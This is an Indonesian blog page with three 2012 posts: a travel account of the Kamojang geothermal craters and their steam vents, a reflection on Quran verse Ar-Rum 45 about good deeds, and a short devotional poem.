Sebenarnya ada apa di Kawah Kamojang? Di Kawah Kamojang itu ada sumber panas bumi bertekanan tinggi. Panas uap air ini berasal dari aktivitas magma yang mendidihkan air di dalam tanah. Air itu keluar ke permukaan bumi dalam bentuk uap bertekanan tinggi. Tekanan uap air yang tinggi itu dimanfaatkan Pertamina untuk menggerakkan turbin listrik. Listrik yang dihasilkan dari turbin ini sekitar 50 MW. Sungguh, energi panas bumi ini energi yang ramah lingukungan (green energy). Maha Besar Allah SWT, Dia menganugerahi Indonesia dengan kekayaan alam yang luar biasa.

Sebenarnya yang disebut kawah di Kamojang itu bukan kawah gunung api, tetapi letupan air mendidih bercampur belerang yang keluar dari dalam bumi. Sebagian lagi keluar dalam bentuk uap air sehingga berbentuk asap.

Salah satu kawah yang menarik perhatian adalah kawah kereta api. Disebut begitu karena bunyi uap air yang keluar dari lubang mengeluarkan bunyi menderu seperti uap air yang keluar dari cerobong asap lokomotif kereta uap.

Tekanan uap air dari kawah kereta api bertekanan sangat tinggi. Seorang kakek beraksi di dekat lubang uap air untuk menghibur pengunjung. Dia melemparkan botol air mineral, kain, bambu, dan lain-lain ke atas uap air itu. Benda-benda itu cengan cepat lenyap seperti ditelan lubang uap air, tetapi sebenarnya yang terjadi mereka terlempar ke atas dengan cepat sekali.

Kemudian dia mengambil sepotong bambu dan diarahkannya ujung bambu ke lubang uap air. Terdengar bunyi udara beresonansi di dalam bambu menciptakan musik tersendiri.

Berjalan sedikit ke atas bukit kita menemukan kawah yang lain. Di sini ada sumber mata air mengandung belarang dan uap air yang keluar dari pori-pori lubang tanah.

Sumber mata air yang mendidih.

Pengunjung memanfaatkan kawah di sini untuk mandi uap (sauna). Uap air yang mendandung belerang bagus untuk terapi tubuh. Di tebing dekat air mendidih ini keluar cipratan air panas yang bila terkena tubuh seperti ditusuk jarum. Beberapa pengunjung membuka bajunya dan membiarkan tubuhnya ditusuk cipratan air panas.

Mandi sauna

Seorang bapak yang mengaku juru kunci kawah itu memperlihatkan aksi magic. Dia dapat memerintahkan asap uap air itu diarahkan ke badan pengunjung. Dengan jarinya uap air yang keluar dari tumpukan batu mengikuti gerakan tangannya yang diarahkan ke badan pengunjung. Entah mantera apa yang dia pakai ya…

Dia juga dapat “memerintahkan” uap air itu dengan asap rokok. Diambilnya sebatang rokok, lalu dinyalakan, dan diarahkannya ke tumpjukan batu tadi. Ajaib, asap keluar dari celah-celah batu mengikuti gerakan tangannya. Ah, dunia ini memang banyak diisi dengan hal-hal gaib.


Written by rinaldimunir

February 21st, 2012 at 9:02 am

Posted in Cerita perjalanan

Tadabbur ayat : Ar-ruum 45

without comments

Pembaca yang dirahmati Allah,

di dalam surat Ar-ruum : 45 yang penggalannya berbunyi “…dan barang siapa yang beramal saleh maka untuk diri mereka sendirilah mereka menyiapkan (tempat yang menyenangkan)”, Allah seolah-olah memancing kita dengan hadiah yang sangat menyenangkan bila kita berbuat baik. Hadiah yang menyenangkan ini adalah pahala yang bentuknya bisa apa saja, baik materi maupun non-materi, yang disampaikan kepada kita pada waktu-waktu yang tidak kita duga, bisa pada saat kita ingin atau pada saat kita butuh.

Selain itu Allah juga menyampaikan sesuatu yang tak kalah menariknya, bahwa ternyata berbuat baik itu adalah sebuah cara untuk menyenangkan diri sendiri. Lupakan sejenak bahwa berbuat baik itu merupakan kewajiban kita kepada orang lain sebagai konsekuensi kita sebagai khalifatullah fil ardh. Berbuat baik ternyata mendukung kecenderungan kita yang egois, apa-apa dilakukan untuk kepentingan pribadi. Dengan terang Allah menyatakan bahwa beramal salih adalah untuk diri kita sendiri. Keuntungan dari perbuatan baik itu pasti akan kita peroleh meskipun mungkin orang yang menjadi objek amal kita tidak memberikan respon seperti yang kita harapkan, mengucapkan terima kasih misalnya. Dengan ayat ini, yakinlah bahwa perbuatan baik kita pasti keuntungannya untuk kita. Dan kalaupun nantinya perbuatan kita menimbulkan efek domino, itu hanya ‘efek samping’ yang pahalanya juga untuk kita.

Jadi, selamat berbuat baik! :)


Written by indahgita

February 21st, 2012 at 5:57 am

Posted in Bebas

Terbatas

without comments

Saya itu
ga bisa ini
ga bisa itu
ga berbakat ini
ga berbakat itu
ga bisa ini
ga bisa itu

terbatas
banyak ga bisanya
banyak mengeluhnya

tapi
saya hanya ingin hari ini taat
dan tidak melakukan maksiat
setia
pada-Nya

Written by ibudidin

February 20th, 2012 at 8:36 pm

Posted in Puisi,Tafakur